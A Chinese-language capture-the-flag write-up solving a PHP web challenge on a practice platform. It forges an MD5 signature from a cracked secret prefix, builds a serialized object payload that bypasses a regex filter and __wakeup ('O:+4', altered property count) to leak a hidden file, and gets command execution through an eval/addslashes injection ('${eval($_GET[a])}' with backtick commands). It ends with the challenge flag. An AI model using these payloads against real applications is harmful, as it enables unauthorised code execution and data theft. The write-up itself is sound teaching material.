练习平台地址

竞赛中心

题目描述

题目内容

 啥也没有就一个标签跳转

 点击后的确发生了跳转

观察到url中有key和hash两个值，猜测hash是key的hash

 查看源代码发现确实是

 $hash=md5($sign.$key);the length of $sign is 8

解密得到$sign应该为kkkkkk01

构造122的hash

import hashlib

# 要加密的原始字符串
data = "kkkkkk01122"

# 创建MD5对象
md5_object = hashlib.md5()

# 更新要加密的数据，注意这里如果数据是字符串需要先编码成字节类型，通常使用utf-8编码
md5_object.update(data.encode('utf-8'))

# 获取十六进制表示的MD5哈希值
hash_value = md5_object.hexdigest()

print(hash_value)

e1ebb04a0a78afe23e2d542e72a25005

传值

访问Gu3ss_m3_h2h2.php

代码分析

1.the secret is in the f15g_1s_here.php，flag在这个文件中

2.通过get接收var参数，base64后进行一个正则匹配——"/[oc]:\d+:/i"是一个忽略大小写的正则表达式，用于匹配以 “o” 或 “c” 开头，接着是冒号、一个或多个数字以及再一个冒号的格式的字符串，不满足条件程序结束，满足则反序列化var参数

解题思路

1.修改file属性为f15g_1s_here.php，序列化对象
2.修改属性数目（沉默__wakeup）
3.替换‘O:4’为‘O:+4’
4.base_64编码 

脚本如下

<?php
class Demo
{
    private $file = 'f15g_1s_here.php';
}

$x = new Demo;
$c = serialize($x);
$c = str_replace('O:4','O:+4',$c);
$c = str_replace(':1:',':2:',$c);
$d = base64_encode($c);
echo ($d);

 TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

传值

 得到f15g_1s_here.php的源码

<?php
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '";');
} else {
    die('hahaha!');
}

代码分析

通过get接收一个val参数，通过addslashes对val进行转义

存在eval函数可以命令执行，这里使用变量绕过addslashes转义

payload构造

val = ${eval(echo `ls`;)}
#ls反引号括住

---

val=${eval($_GET[a])}&a=echo `ls`; 

访问 f15g_1s_here.php并传参

成功执行命令

 查看flag

flag

flag{a8b481b7-8f12-44ce-8b87-bb561afc61ba}

注意事项

1.传参建议在HackBar中传，不要直接在url中编辑

2.解密不要自己编写脚本碰撞，要在somd5.com上直接查询